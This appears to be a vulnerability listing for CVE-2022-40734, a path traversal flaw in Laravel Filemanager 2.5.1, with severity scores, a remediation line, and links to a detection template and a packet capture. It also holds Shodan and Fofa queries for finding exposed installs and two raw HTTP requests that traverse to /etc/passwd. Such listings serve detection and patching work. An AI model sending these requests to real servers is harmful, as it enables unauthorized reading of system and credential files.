| Title | Laravel Filemanager v2.5.1 - Local File Inclusion |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution. |
| Remediation | Upgrade to a patched version of Laravel Filemanager v2.5.1 or apply the recommended security patches provided by the vendor. |
| CVSS Score | 6.5 |
| EPSS Score | 0.92943 |
| CVE ID | CVE-2022-40734 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"Laravel Filemanager"http.html:"laravel filemanager" |
| Fofa Query | body="laravel filemanager" |
| Tags | cve cve2022 laravel unisharp lfi traversal vkev vuln |
Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.
GET /download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40734.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-40734.pcap
N/AN/A